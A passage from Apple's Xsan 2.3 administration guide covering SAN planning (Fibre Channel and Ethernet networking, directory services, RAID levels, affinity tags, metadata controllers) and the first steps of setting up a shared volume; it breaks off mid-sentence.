adapter to a compatible port of each Mac that connects to the SAN. Fibre Channel switches Fibre Channel switches from Brocade, Cisco, and QLogic have been tested with Xsan and the Apple Fibre Channel PCI, PCI-X, and PCI-E cards. For the latest information about qualified switches, see the Xsan webpage at www.apple.com/xsan/.Fabric configuration You must connect the computers, storage devices, and switches in your Fibre Channel network to form a Fibre Channel fabric. In a fabric, Fibre Channel cables connect node ports (F or N_Port). For more information about setting up your fabric, see the documentation that came with your Fibre Channel switches. Ethernet TCP/IP network Computers on the SAN must be connected to an Ethernet network. Xsan controllers and clients use this network instead of the Fibre Channel network to exchange file system metadata. If the computers on your SAN must communicate with directory servers, a corporate or campus intranet, or the Internet, connect each SAN client and metadata controller to two Ethernet networks: one private subnet for the SAN metadata and a separate connection for directory service, intranet, and Internet traffic. This is especially important if you plan to use the SAN for high-performance applications such as video editing. IP addresses The client and metadata controller computers need static (fixed) IP addresses for Ethernet network connections. For the public intranet and Internet connection, you can enter each computer’s static IP address, subnet mask, router address, and DNS server address manually or configure a DHCP server to provide this information. If you want the DHCP server to provide IP addresses, it must always assign the same static IP address to each SAN computer. Don’t use DHCP to assign dynamic IP addresses to SAN devices. For the SAN metadata network, the SAN computers should have static private (nonroutable) IP addresses (unless you can’t set up a separate, private Ethernet network for SAN metadata). If you’re setting up new computers or computers on which you’ve just installed Mac OS X Lion or Lion Server, you can have Xsan Admin assign and manage addresses for your private metadata network. If you assign addresses yourself, use one of the following ranges of IP addresses on your private (nonrouted) metadata network: Private address range Associated subnet mask Also specified as 10.0.0.0–10.255.255.255 255.0.0.0 10/8 172.16.0.0–172.31.255.255 255.240.0.0 172.16/12 192.168.0.0–192.168.255.255 255.255.0.0 192.168/16 42 Chapter 3 Plan a SANChapter 3 Plan a SAN 43 Directory services If you plan to use user and group privileges to control access to files and folders on the SAN, you should set up or join a central directory of users and groups. A central directory service lets you manage SAN users and groups from one computer instead of having to visit and painstakingly configure each SAN client and metadata controller. If directory service is provided by a Mac Open Directory server, you can have the Xsan setup assistant configure Macs in the SAN to use existing user and group accounts from the Open Directory server. If you have another type of directory service, such as Active Directory, you configure each Mac in the SAN to connect to it for user and group accounts by using the Users & Groups pane of System Preferences (the Accounts pane in Mac OS X or Mac OS X Server v10.6) after initial setup. If your SAN doesn’t have access to an existing directory service, you can specify during initial setup of your Xsan primary metadata controller that you want to use Xsan Admin to manage users and groups. The server setup assistant creates an Open Directory master server on your primary metadata controller. The Xsan setup assistant creates Open Directory replica servers on standby metadata controllers. The Open Directory master provides an LDAP directory, single sign-on user authentication using Kerberos, and password validation using common authentication methods. The replicas improve responsiveness and provide automatic failover of Open Directory services. The Xsan setup assistant also configures Mac clients in the SAN to connect to your Xsan primary metadata controller for Open Directory user and group accounts. If you use network accounts from a Mac server that isn’t an Xsan metadata controller, you don’t use Xsan Admin to manage user and group accounts. If the network accounts server (or directory server) has Mac OS X Lion Server, use the Server app to manage network user and group accounts. If the network account server has Mac OS X Server v10.6 Snow Leopard or earlier, use Workgroup Manager to manage user and group accounts. Note: Some apps running on SAN client computers, such as Final Cut Pro, work better when users have local home folders, not network home folders. User accounts that you manage with Xsan Admin are set up with local home folders. For help setting up local home folders for user accounts that you don’t manage with Xsan Admin, see “Configure local home folders for network accounts” on page 96. If you decide not to use a central directory service, you must set up the same users and groups in the Accounts pane of System Preferences on each SAN computer.Important: If you create users and groups on each SAN computer, be sure that:  Each user or group has a numeric user ID (UID) or group ID (GID) that is unique throughout the SAN  Each user or group defined on more than one computer has the same UID or GID on each computer Outgoing mail service Xsan can send SAN status notifications via email on your local network (IP subnet) without using a separate mail server. However, depending on your network configuration, you may need an SMTP server to send notifications outside your local network. If you don’t have access to an outgoing mail server, use the mail service in Mac OS X Lion Server to set one up. For information, open the Server app and search Server Help. Plan your SAN It’s easy to add storage to an Xsan SAN, but reorganizing a SAN after you set it up isn’t simple. So, it’s important to plan the layout and organization of your SAN and its storage before you set it up. An Xsan SAN is made up of:  Storage devices (RAID systems)  LUNs (SCSI logical unit numbers, usually RAID arrays)  Storage pools (groups of LUNs)  Affinity tags, which identify storage pools with similar performance and data protection  Volumes (groups of storage pools visible to users)  Clients (computers that use volumes)  Controllers (computers that manage volume metadata)  An Ethernet network used to exchange volume metadata  A Fibre Channel network used to transfer data to and from volumes Before you set up a SAN, you must decide how to organize these components. Take the time to create a diagram or a table that organizes available hardware into RAID arrays, volumes, client computers, and metadata controllers in a way that meets SAN users’ needs and your needs as the SAN administrator. You don’t need to plan storage pools or affinity tags if you set up each volume using a preset volume type based on the kind of work the volume supports. 44 Chapter 3 Plan a SANChapter 3 Plan a SAN 45 Preliminary planning questions As you plan, consider the following questions:  How much storage do you need?  How do you want to present available storage to users?  What storage organization makes the most sense for user workflow?  What levels of performance do users require?  How important is high availability?  What are your requirements for security? Your answers to the questions above will help you decide the following:  What RAID schemes should you use for your RAID arrays?  How many SAN volumes do you need?  How should individual volumes be organized?  Which preset volume type can you choose for each volume?  Which LUNs should be assigned to each affinity tag?  Which clients, users, and groups should have access to each volume?  Which computers will act as metadata controllers?  Do you need standby metadata controllers?  Do you need to adjust a volume’s allocation strategy?  How should you configure your Ethernet network? Review the considerations and guidelines on the following pages for help creating a suitable SAN design. Planning considerations and guidelines The following considerations might help improve your SAN design decisions. How much storage? Because it’s easy to add storage for user data to an Xsan SAN, you only need an adequate starting point. You can add storage later as needed. However, you can’t expand a storage pool that can only store volume metadata or journal data, so try to allocate enough space for metadata and journal data right from the start. (You can add an entire storage pool for metadata and another storage pool for journal data.) For help estimating your metadata and journal data storage requirements, see “Estimate metadata and journal data storage needs” on page 51. Note that the number of RAID systems you use affects not only available space but also SAN performance. See “Performance considerations” on page 46.How should users see available storage? If you want users working on a project to see a volume dedicated to their work, create a separate volume for each project. If it’s acceptable for a user to see a folder for his or her work on a volume with other peoples’ folders, create a single volume and organize it into project folders. Workflow considerations How much file sharing is required by your users’ workflow? For example, if different users or groups work on the same files, simultaneously or in sequence, store those files on a single volume to avoid needing to maintain or hand off copies. Xsan uses file locking to manage shared access to a single copy of the files. Performance considerations If your SAN supports an application (such as high resolution video capture and playback) that requires the fastest possible sustained data transfers, design your SAN with these performance considerations in mind:  Set up the LUNs (RAID arrays) using a RAID scheme that offers high performance. See “Choose RAID schemes for LUNs” on page 47.  Assign your fastest LUNs to an affinity tag for the application. Assign slower LUNs to an affinity tag for less demanding applications.  To increase parallelism, spread LUNs across RAID controllers. Xsan then stripes data across the LUNs and benefits from simultaneous transfers through two RAID controllers.  To increase parallelism for an affinity tag assigned to relatively small LUNs (the size of one or a few drive modules), create a slice of similar size across all drives on a RAID controller instead of creating the LUNs from one or two drive modules.  Spread file transfers across as many drives and RAID controllers as possible. Try creating slices across the drives in RAID systems, and then assign these slices to the same affinity tag.  To increase throughput, connect both ports on client Fibre Channel cards to the fabric.  Store file system metadata on a separate storage pool from user data and make sure the metadata LUNs aren’t on the same RAID controller as user data LUNs.  You can use a separate storage pool for journal data when you create a new volume. This significantly improves performance for some operations, such as creating and deleting files.  Use a second Ethernet network (including a second Ethernet port for each SAN computer) for SAN metadata.  If your SAN uses directory services, mail services, or other services on a separate server, connect SAN computers to that server on an Ethernet network separate from the SAN metadata network. 46 Chapter 3 Plan a SANChapter 3 Plan a SAN 47  Choose a different primary metadata controller for each volume, and set up volume failover priorities to minimize the possibility of more than one volume failing over to the same metadata controller.  If all computers on your SAN are Macs, enable Extended Attributes for your volumes to eliminate the overhead of file information being stored in multiple hidden files. Availability considerations If high availability is important for your data, set up at least one standby metadata controller in addition to your primary metadata controller. Also, consider setting up dual Fibre Channel connections between each client, metadata controller, and storage device using redundant Fibre Channel switches. WARNING: Losing a metadata controller without a standby can result in the loss of all data on a volume. A standby controller is strongly recommended. Security considerations If your SAN supports projects that must be secure and isolated from each other, create separate volumes for each project to eliminate any possibility of the wrong client or user accessing files stored on a volume. As the SAN administrator, you control which computers are SAN clients. Users whose computers aren’t SAN clients or controllers can’t browse for or mount SAN volumes. You use Xsan Admin to remove clients from the SAN. However, you can’t control which Xsan 2.3 computers can use a volume. Users whose SAN computers have Mac OS X Lion or Lion Server can mount all SAN volumes themselves. You can also set up access control lists (ACLs) in Xsan Admin or assign user and group permissions to folders using standard file access permissions in the Finder. Choose RAID schemes for LUNs Much of the reliability and recoverability of data on a SAN is provided not by Xsan, but by the RAID arrays you combine to create storage pools and volumes. Before you set up a SAN, use the RAID system configuration or administration software to prepare LUNs based on specific RAID schemes. WARNING: If a LUN in the metadata storage pool fails and can’t be recovered, all data on the volume is lost. It is strongly recommended that you use only redundant LUNs (LUNs based on RAID schemes other than RAID 0) to create Xsan volumes. For information about removing a failed LUN in a user data storage pool, see the AppleCare Support article at support.apple.com/kb/HT4656.LUNs configured as RAID 0 arrays (striping only) or LUNs based on single drives are difficult or impossible to recover if they fail. Unprotected LUNs such as these should be used only in storage pools that store scratch files or other data that you can afford to lose. Most RAID systems support all popular RAID levels. Each RAID scheme offers a different balance of performance, data protection, and storage efficiency, as summarized in the following table. RAID level Storage efficiency Read performance Write performance Data protection RAID 0 Highest Very High Highest No RAID 1 Low High Medium Yes RAID 3 High to very high Medium Medium Yes RAID 5 High to very high High High Yes RAID 0+1 Low High High Yes Decide on the number of volumes A volume is the largest unit of shared storage on the SAN. If users need shared access to files, store those files on the same volume. This makes it unnecessary for them to pass copies of the files among themselves. However, if security is critical, remember you can’t control client access by unmounting volumes on Xsan 2.3 clients. Users whose computers have Mac OS X Lion or Lion Server can mount SAN volumes themselves. For a typical balance of security and shared access, create one volume and control access with folder access privileges or ACLs in Xsan Admin or the Server app. Decide how to organize a volume You can help users organize data on a volume or restrict users to specific areas of the volume by creating predefined folders. You can control access to these folders by assigning access permissions using Xsan Admin. You can assign folders to specific storage pools using affinities. For example, you can create a folder for data that requires fast access and assign that folder to your fastest storage pool. Assign LUNs to affinity tags When you create a volume using a preset volume type that fits your SAN scenario, Xsan Admin sets up storage pools and affinity tags for best performance. All you do is assign LUNs to each affinity tag. Xsan Admin determines the optimal number of storage pools to create, based on the volume type and the number of LUNs you assign to each affinity tag. 48 Chapter 3 Plan a SANChapter 3 Plan a SAN 49 For best performance, assign LUNs in the multiples shown below. These multiples apply to affinity tags used for user data, not to the Metadata and Journal affinity tag, which needs one LUN. Important: Assigning LUNs other than in the multiples shown below can result in serious fragmentation. For this volume type’s affinity tags used for user data Assign LUNs in multiples of General File Server 2 Home Folder Server 2 Mail Cluster 1 Podcast Producer Cluster 4 Standard Definition Video 4 Uncompressed High Definition Video 4 Assign LUNs that have the same capacity and performance characteristics to each affinity tag. LUNs that you assign to an affinity tag should have the same capacity, because Xsan provides high performance by using the RAID 0 scheme to stripe data across the LUNs in each storage pool. This striping scheme can use available space on each LUN equal to the capacity of the smallest LUN in a storage pool. If a storage pool’s LUNs vary in size, this can result in wasted capacity. For example, if a storage pool has a 240 GB RAID array and a 360 GB RAID array, 120 GB of the larger array won’t be used. By assigning LUNs with similar capacities to an affinity tag, you avoid wasting available storage. If you’re using a volume type with multiple affinity tags for user data, assign your fastest LUNs to the affinity tag associated with folders whose contents benefit most from extra performance. Assign slower LUNs to an affinity tag associated with folders whose contents don’t have critical performance requirements. You can also increase the performance of an affinity tag’s storage pools by assigning that affinity tag a combination of LUNs that are hosted on different drive modules and different RAID controllers. This strategy increases performance by increasing the parallelism of data transfers. Decide which clients to mount a volume on If you create multiple volumes, decide which volumes should be mounted on which clients. A new volume is initially mounted on all clients. When you add a client to the SAN, volumes that are currently mounted on all SAN computers will be mounted automatically on the new client. If a volume isn’t mounted on all SAN computers, and you add a new client, the volume isn’t mounted automatically on the new client. If a volume isn’t mounted on all SAN computers but is mounted on all metadata controllers, and you add a metadata controller, the volume is mounted automatically on the new metadata controller. If you stop a volume, it isn’t mounted automatically on any SAN computers when you start the volume again. You can use Xsan Admin to mount or unmount a volume on selected clients. Users whose SAN computers have Mac OS X Lion or Lion Server can mount and unmount SAN volumes themselves using the Xsan pane of System Preferences. Choose metadata controllers You must choose at least one computer to be the SAN metadata controller, the computer that is responsible for managing file system metadata. Note: File system metadata and journal data are stored on the SAN volume, not on the metadata controller itself. For more information, see “Store user data with metadata and journal data” below. If high availability is important, use at least two metadata controllers: one as the primary controller and one as a standby. You can specify additional metadata controllers as needed, and set each volume’s failover priorities to determine the order in which the controllers are tried if a volume’s primary controller stops responding. If performance is critical, don’t run other server services on the metadata controller and don’t use the controller to reshare a SAN volume using AFP or NFS. Choose standby controllers To be sure that SAN volumes are always available, set up at least one standby metadata controller that can take over if your primary metadata controller fails. Store user data with metadata and journal data The metadata and journal data that describe a volume are stored not on the volume’s metadata controller, but on the volume. Metadata is stored on the first storage pool in the volume. Journal data can be stored on any storage pool in the volume. You must have only one storage pool with journal data. Preset volume types set up a separate storage pool used only for metadata and journal data. If you set up a custom volume with more than one storage pool, you can choose whether the metadata and journal storage pool is allowed to store user data. You might get adequate performance by combining metadata and journal data on the same storage pool as user data, but for better performance, use a separate storage pool for metadata and journal data. 50 Chapter 3 Plan a SANChapter 3 Plan a SAN 51 Estimate metadata and journal data storage needs To estimate the amount of space required for Xsan volume metadata, assume that 10 million files on a volume require approximately 10 GB of metadata on the volume’s metadata storage pool. The journal requires between 64 KB and 512 MB. Xsan configures a fixed size when you create a volume. Due to the small size, you can use a single RAID 1 LUN for the journal storage pool. To maximize the performance benefit of a separate journal storage pool, dedicate entire physical disks to the RAID 1 LUN. Choose an allocation strategy If you choose a preset volume type when you set up a volume, Xsan Admin sets its volume allocation strategy for you. Later, you can change the allocation strategy by editing volume settings with Xsan Admin. The allocation strategy you choose for a volume determines the order in which its storage pools are filled with data. You can choose round robin, fill, or balance:  If you choose round robin, Xsan writes data to each storage pool in the volume in turn. This is normally the best choice for performance.  If you choose fill, Xsan writes data to the first storage pool in the volume until that storage pool is full, and then moves to the next storage pool. This is a good choice to keep a specific storage pool unused as long as possible.  If you choose balance, Xsan writes data to the storage pool that has the most free space. Plan the Ethernet TCP/IP network Ethernet connections are used in several ways in an Xsan SAN:  Xsan clients and metadata controllers use Ethernet to exchange volume metadata.  Xsan clients can use Ethernet for access to networks outside the SAN (campus or corporate intranet or the Internet).  Xsan metadata controllers can use Ethernet connections for remote management.  RAID systems can use Ethernet connections for system management.  Fibre Channel switches can use Ethernet connections for switch management. You have two options:  Use one Ethernet network for all traffic. This is the less expensive option, but is also less secure and might not provide the best performance.  Use two separate networks—one for metadata and another for all other IP traffic. This configuration is slightly more expensive (requiring two Ethernet adapters for each computer and an additional switch) but offers greater security and better performance because routine network traffic doesn’t interfere with SAN volume metadata traffic.Use a private metadata network Non–SAN-related Ethernet traffic can interfere with the exchange of metadata among Xsan controllers and clients. For example, using the same connection for Xsan metadata exchange and Internet access can slow file system performance. Similarly, using the same Ethernet network to connect client computers to directory services and SAN metadata can affect SAN performance. If SAN performance is critical for your users or applications, keep all extraneous traffic off the network that clients and metadata controllers use to exchange metadata. For best SAN performance, set up a private Ethernet TCP/IP network for the exclusive use of Xsan clients and metadata controllers. For other types of network traffic, including Internet access, RAID system and Fibre Channel switch management, remote SAN management, or directory services, connect each client and metadata controller to a second Ethernet network using a second Ethernet port. Use switches instead of hubs To get the best performance, use Gigabit Ethernet switches, not hubs, in the SAN metadata network. Plan the Fibre Channel network Xsan uses Fibre Channel connections to:  Transfer user data between clients and data storage pools  Transfer metadata between metadata controllers and metadata storage pools If you have connections operating below the data rate supported by your equipment (typically 2 or 4 Gb/s), verify Fibre Channel performance and troubleshoot the fabric. Verify base Fibre Channel performance Because the devices connected to a Fibre Channel network adjust their speed to match the slowest device on the fabric, be sure that all connections in the fabric are operating at the expected speed (typically 2 or 4 Gb/s). Check Fibre Channel connection performance: m Use the management software provided with your Fibre Channel switches to test the performance of your Fibre Channel fabric. If your Fibre Channel fabric is running slowly If your Fibre Channel fabric isn’t running at the expected speed (typically 2 or 4 Gb/s, depending on your equipment), review the following information. 52 Chapter 3 Plan a SANChapter 3 Plan a SAN 53 Check cables One faulty cable in a fabric can slow the entire network. Check all cables to make sure they’re capable of full transmission speed. Use your switch management software to isolate the faulty cable by checking the performance of specific connections. Use qualified transceivers Check with the manufacturers of the devices you’re connecting to your fabric to be sure that the transceivers (GBICs) you’re using are qualified for use with their devices. With some Fibre Channel switches, you should use identical transceivers (same manufacturer and model number) on both ends of each cable. Mismatched optical transceivers (even if they are separately qualified for use with your devices) can cause Fibre Channel communication errors and degrade SAN performance. With Cisco Fibre Channel switches, you should use a Cisco transceiver on the end of a cable that plugs into the switch, but use another qualified transceiver at the other end of the cable. For Fibre Channel hardware compatibility information, see the AppleCare Support article at support.apple.com/kb/HT1769. Check Fibre Channel switch port configuration The Request for State Change Notifications (RSCN) that is generated when a client on the SAN restarts can cause dropped frames in video streams to other clients. To avoid interrupting SAN traffic to other clients if one client restarts, check your Fibre Channel switch documentation to see if you can configure the switch to suppress RSCNs on initiator ports. (For example, on Qlogic switches this feature is called I/O StreamGuard.) Connect devices to specific blades If your Fibre Channel switch is based on a blade architecture, you might be able to improve performance by:  Connecting pairs of devices that routinely exchange large volumes of data to the same blade in the switch  Distributing loads across multiple blades instead of concentrating all of the load on one or two blades Configure RAID systems Follow these guidelines when you set up your RAID systems for use as Xsan LUNs. Install the latest firmware To get the best performance and reliability from your RAID systems, install the latest firmware.Connect RAID systems to an Ethernet network For best performance, don’t connect RAID controller Ethernet management ports to the SAN’s metadata network. Connect the ports to the separate Ethernet network that you use for other types of network traffic, such as directory services, Internet access, and remote Xsan management. Choose RAID levels for LUNs Use RAID 1 for metadata LUNs and RAID 5 for data LUNs. Use RAID 1 for metadata LUNs RAID 1 (mirroring) can give slightly better performance than the default RAID 5 scheme for the small, two-drive metadata LUNs that Xsan uses to store volume information. A single drive is almost always adequate for storing the primary volume metadata. (10 GB of metadata space is enough for approximately 10 million files.) The second, mirror drive protects you from metadata loss. Use RAID 5 for data LUNs Most RAID systems are optimized for excellent performance and data redundancy using a RAID 5 scheme. (RAID 5 stripes data across available drives and distributes parity data across the drives.) Some RAID systems ship preconfigured as RAID 5 LUNs. RAID 0 (striping with no parity) might give slightly better write performance, but it provides no data recovery protection, so RAID 5 is always a better choice for LUNs used to store user data. Adjust RAID system performance settings RAID system performance settings, which affect parameters such as drive caching, RAID controller caching, and read prefetching, can have a significant effect on Xsan volume performance. Follow these guidelines. Enable drive caching In addition to the caching performed by the RAID controller, each drive in an array can perform caching at the drive level to improve performance. WARNING: If you enable drive caching for a RAID set, make sure the system is connected to an uninterruptible power supply (UPS). Otherwise, you could lose cached data if the power fails. Enable RAID controller write caching Without RAID controller write caching, a request to write data to the associated LUN isn’t considered finished until the data is written to the physical disks that make up the array. Only then can the next write request be processed. (This is sometimes called write-through caching.) 54 Chapter 3 Plan a SANChapter 3 Plan a SAN 55 When RAID controller write caching is enabled, a request to write data is considered finished when the data is in the cache. This is sometimes called write-back caching. Write requests are processed more quickly because the file system only needs to write to the fast cache memory and doesn’t need to wait for the slower disk drives. Be sure to enable write caching on RAID controllers that support metadata storage pools. Although some large write requests might benefit from caching, often they don’t. By placing a volume’s metadata storage pool on a RAID controller separate from the data storage pools, you can enable caching on the RAID controller used for metadata and disable caching on the RAID controller used for data. When the file system is relying on caching in this way, you must guarantee that data in the cache isn’t lost before it’s written to disk. Data written to disk is safe if the power fails, but data in a cache is not. To be sure that a power failure can’t cause the loss of cached data, protect your RAID systems with RAID controller backup batteries or a UPS. WARNING: If you enable controller write caching on a RAID system, make sure the system includes controller backup batteries and, preferably, is connected to a UPS. Enable read prefetching Read prefetching is a technique that improves file system read performance when data is being read sequentially, as in the case of audio or video streaming, for example. When read prefetching is enabled, the RAID controller assumes that a read request for a block of data will be followed by requests for adjacent data blocks. To prepare for these requests, the RAID controller reads the requested data and the following data, and stores it in cache memory. Then, if the data is requested, it’s retrieved from the fast cache instead of from the slower disk drives.56 Follow step by step instructions for setting up a shared volume on an Xsan SAN. This chapter explains how to connect SAN networks, prepare RAID arrays (LUNs), use the Xsan Admin app, set up a SAN, and create a shared volume. This chapter also tells you how to administer Xsan remotely, rename a SAN, remove a SAN, set up additional SANs, and manage multiple SANs. Connect computers and storage devices Before you open Xsan Admin to configure your SAN, you must connect client computers, controller computers, and storage devices to the SAN’s Fibre Channel and Ethernet networks. In addition, make sure your networks meet the requirements summarized in “Fibre Channel fabric” on page 41 and “Ethernet TCP/IP network” on page 42. Prepare LUNs New RAID systems often come configured as one or more RAID arrays. So, out of the box, your RAID system might provide LUNs that you can use for most SAN applications. For details, see the documentation for your RAID system. Unless you have well-defined, special needs, no other LUN preparation is needed. To set up other combinations of RAID arrays or slices, use the management software that comes with your RAID systems to create the arrays before you add the resulting LUNs to your SAN’s storage pools. For information about choosing a RAID scheme, see “Choose RAID schemes for LUNs” on page 47. Note: Don’t use Disk Utility to format arrays or slices for use with Xsan. LUNs are labeled and initialized when you add them to a storage pool using Xsan Admin. After they are labeled, the LUNs can’t be modified using Disk Utility. 4 Set up a SANChapter 4 Set up a SAN 57 Be sure to create arrays of the same size if you plan to add them to the same affinity tag (or the same storage pool of a custom volume). For more information, see “Assign LUNs to affinity tags” on page 48. Use the server setup assistant to configure controllers You use the server setup assistant to configure servers as Xsan metadata controllers. The server setup assistant runs when you start up a new server or a server on which you have performed a clean installation of Mac OS X Lion Server. When using the server setup assistant to set up your primary metadata controller, you can choose how to manage Xsan users and groups. Manage users and groups with Xsan Admin When using the server setup assistant to set up your primary metadata controller, you can choose to manage SAN users and groups with Xsan Admin. This option is recommended if you don’t have a directory server and you expect to have up to 20 SAN users. These users will have local home folders on their computers (not network home folders on the server). Important: You can choose to manage users and groups with Xsan Admin only when you use the server setup assistant to set up your primary metadata controller. You can’t configure this option after setting up the primary controller with the server setup assistant. If you choose this option, the server setup assistant makes the primary metadata controller an Open Directory master server. Then Xsan Admin configures standby metadata controllers as Open Directory replica servers. For the Open Directory master and replicas, the directory administrator’s user name is Directory Administrator, the short name is diradmin, and the password is initially the same as the password of the administrator account that you create with the server setup assistant. Xsan Admin also configures Xsan client computers with Xsan 2 to connect to your Xsan primary metadata controller for Open Directory user and group accounts. Use an existing Open Directory server If you have an Open Directory server, you can have the server setup assistant configure your primary metadata controller to get users and groups from it. Then when you set up your SAN, the Xsan setup assistant configures standby metadata controllers and client computers to connect to the Open Directory server for users and groups.Use another directory server When using the server setup assistant to set up your primary metadata controller, you can also choose to connect to a directory server, including Active Directory or Open Directory, after you finish setup. In this case, you use the Users & Groups pane of System Preferences (the Accounts pane in Mac OS X or Mac OS X Server v10.6) on each metadata controller and client computer to configure a connection to your directory server. Use Xsan Admin You use the Xsan Admin app to set up and manage your SAN. You can use Xsan Admin to manage an Xsan 2.3 SAN from any computer that has Mac OS X Lion Server and has access to the same public intranet as the SAN. Xsan Admin is installed with Mac OS X Lion Server, and is located in the /Applications/Utilities/ folder. Connect through a firewall If there’s a firewall between the SAN and the computer you’re running Xsan Admin on, be sure port 311 in the firewall is open so Xsan Admin can communicate with the SAN computers. Xsan Admin preferences Open Xsan Admin and choose Xsan Admin > Preferences to adjust these settings:  SAN status refresh interval  The amount of log information displayed  The maximum number of users to list when searching Get help Xsan Admin includes onscreen help. Use the Help menu or click the Help button in any Xsan Admin dialog or pane. SAN and volume setup summary To set up a shared volume on a SAN, you’ll perform the following tasks.  Step 1: Set up the Fibre Channel network (page 59)  Step 2: Set up the Ethernet networks (page 59)  Step 3: Configure SAN computers to use a time server (page 60)  Step 4: Set up SAN users and groups (page 61)  Step 5: Set up RAID systems (page 62)  Step 6: Create a metadata array (page 62)  Step 7: Install Xsan software on clients and controllers (page 63)  Step 8: Configure the SAN (page 64) 58 Chapter 4 Set up a SANChapter 4 Set up a SAN 59  Step 9: Create a volume (page 65)  Step 10: (Optional) Set up SAN status notifications (page 68)  Step 11: (Optional) Assign folders to affinity tags (page 68)  Step 12: (Optional) Set user and group quotas (page 68) Set up an Xsan volume on a SAN Step 1: Set up the Fibre Channel network Set up the SAN Fibre Channel network: m Connect controller computers, client computers, and RAID storage systems to a Fibre Channel switch to create a Fibre Channel fabric for the SAN. Be sure to configure the switch and make the connections so you create a Fibre Channel fabric. For more information, see the guidelines and requirements in “Fibre Channel fabric” on page 41. Step 2: Set up the Ethernet networks Set up the SAN Ethernet networks: 1 Connect controller computers, client computers, RAID systems, and Fibre Channel switches to the public intranet and Internet. 2 Connect controller computers and client computers to the private metadata network. 3 Configure the network settings on the client and controller computers. For each computer’s public Ethernet port, you can configure the TCP/IP settings: Manually: You enter the static IP address, subnet mask, router address, and DNS server address for each computer. Using DHCP with manual address: You enter the computer’s static IP address, and your DHCP server provides the other TCP/IP connection settings. Using DHCP: Your DHCP server provides a static IP address and the other TCP/IP settings for client computers. (This configuration method isn’t available when setting up metadata controllers.) The DHCP server must be configured to always assign the same static IP address to each SAN computer.For the private metadata network, you can have the Xsan setup assistant configure the network settings if you’re setting up new computers or computers on which you’ve just performed a clean installation of Mac OS X Lion Server. To make sure the Xsan setup assistant offers this option, don’t configure the Ethernet port connected to the private metadata network:  On client computers, leave this Ethernet port unconfigured in Network preferences.  On controllers and clients with Mac OS X Lion Server, disable this Ethernet port while using the server setup assistant. The Xsan setup assistant offers to configure the private metadata network if it finds exactly one available unconfigured Ethernet port on each computer, or if each computer has an Ethernet port with a private IP address on the same IP subnet and a subnet mask of 255.255.255.0. For information about private IP addresses and the network settings you must make if the Xsan setup assistant doesn’t configure the metadata network settings on SAN computers, see “Ethernet TCP/IP network” on page 42. 4 Make sure all client and controller computers have different computer names, so you can distinguish them in Xsan Admin. Step 3: Configure SAN computers to use a time server To ensure consistent time metadata across all computers in the SAN, choose the same network time server for all metadata controller and client computers in the SAN. Choose a time server: m On each SAN computer, open Date & Time preferences and choose the same network time server for all metadata controller and client computers. If you’re setting up a new server or a computer that you’ve performed a clean installation of Mac OS X Lion Server on, you can choose a network time server in the Time Zone pane of the server setup assistant. 60 Chapter 4 Set up a SANChapter 4 Set up a SAN 61 Step 4: Set up SAN users and groups Here are several ways you can set up users and groups for your SAN: m If you’re setting up a new primary metadata controller or one you’ve just performed a clean installation of Mac OS X Lion Server on, select an option in the “Users and Groups” pane of the server setup assistant. Manage users and groups with Xsan Admin: Select this option to have the server setup assistant create a centralized directory of users and groups on the primary metadata controller. You can select this option only while setting up Mac OS X Lion Server on the primary metadata controller. You can’t configure this option after using the server setup assistant on the primary controller. After setup, you use Xsan Admin to create and delete users and groups and to change group membership. For information about Open Directory servers, see “Directory services” on page 43. Use existing users and groups from an Open Directory server: Select this option to have the server setup assistant configure the primary metadata controller to connect to the Open Directory server whose DNS name or IP address you specify. If you select this option, Xsan Admin configures all other SAN computers with Xsan 2 to use the Open Directory server. You can set up an Open Directory server, also called a network account server, and manage users and groups by using the Server app on a server with Mac OS X Lion Server. Connect to a directory server later: Select this option if you have another type of directory server, such as Active Directory.After setting up the primary metadata controller, use the Users & Groups pane of System Preferences (the Accounts pane on client computers with Mac OS X or Mac OS X Server v10.6) to connect the computer to your directory server. m If you don’t use a directory server, you must create the same set of users and groups in System Preferences on each SAN computer. Important: If you create users and groups on each SAN computer, make sure each user and group has a numeric user ID (UID) or group ID (GID) that is unique throughout the SAN, and make sure each SAN user and group has the same UID or GID on all SAN computers. One way to do this is to create an identical list of users and groups in the same order on each computer, following a clean installation of the operating system. Step 5: Set up RAID systems Set up RAID Systems: 1 Follow the instructions that come with your RAID systems to turn them on and configure their network, management, and security settings. 2 If your RAID systems come with RAID sets already configured, they’re detected during SAN setup and you can skip to “Step 6: Create a metadata array”on page 62; otherwise, use the management software that comes with the RAID system to create arrays based on the RAID schemes of your choice, leaving three drives on one system unassigned so you can create a small, separate metadata LUN as described in the next step. For help choosing other RAID schemes, see “Choose RAID schemes for LUNs” on page 47. Setup scripts for common configurations on Promise RAID systems are available at www.apple.com/support/xsan/. Step 6: Create a metadata array Ten GB of disk space is enough to store the metadata for a volume containing 10 million files, so a two-drive RAID 1 (mirrored) array is generally large enough to store the metadata for your SAN volume. If you dedicate a spare drive to this array to guarantee availability, three drives are adequate for your SAN metadata. If your RAID arrays consist of four or more drives, use these steps to convert an existing array into a small metadata array so you can reuse the extra drives. If you’ve set up a Promise RAID system using a script from www.apple.com/support/xsan/, you should already have a two-drive RAID 1 array for metadata, and you can skip to “Step 7: Enable Xsan on clients and controllers” on page 63. Create the metadata array: 1 If you don’t have three spare drives or if all drives in your RAID systems belong to RAID arrays, use the management app for your RAID system to delete an existing array. 2 Use two of the drives to create a two-drive RAID 1 (mirrored) array. 3 Assign a third drive as a dedicated spare for the array. 62 Chapter 4 Set up a SANChapter 4 Set up a SAN 63 You can use leftover drives from the original array to create a separate array, or save them for use as spares. Step 7: Enable Xsan on clients and controllers Enable Xsan on a computer with Mac OS X Lion or Lion Server: m On each computer that has Mac OS X Lion or Lion Server and is connected to the SAN, open System Preferences, click Xsan, and then click Enable Xsan. Enable Xsan on a computer that has no keyboard or display: 1 Log in to a computer that does have a keyboard and display. 2 In the Finder, choose Go > Connect to Server and enter vnc://address in the Server Address field, replacing address with the IP address or DNS name of the target computer. 3 Click Connect and enter the name and password of an administrator account on the target computer. 4 In the screen sharing window, open System Preferences, click Xsan, and then click Enable Xsan. You can also use the Apple Remote Desktop app (which you can purchase from the Mac App Store) to enable Xsan on remote computers. For information about Apple Remote Desktop, go to www.apple.com/remotedesktop/. Enable Xsan on a computer with Mac OS X or Mac OS X Server v10.6: 1 Insert the Xsan Install Disc, double-click the Install Xsan icon, and then follow the onscreen instructions until you reach the Custom Install pane. 2 In the Custom Install pane, deselect Xsan Admin, click Continue, and follow the remaining onscreen instructions to install only the Xsan file system. From the command line For information about using command-line tools in Terminal to install Xsan on a computer with Mac OS X or Mac OS X Server v10.6, see “Install Xsan from the command line” on page 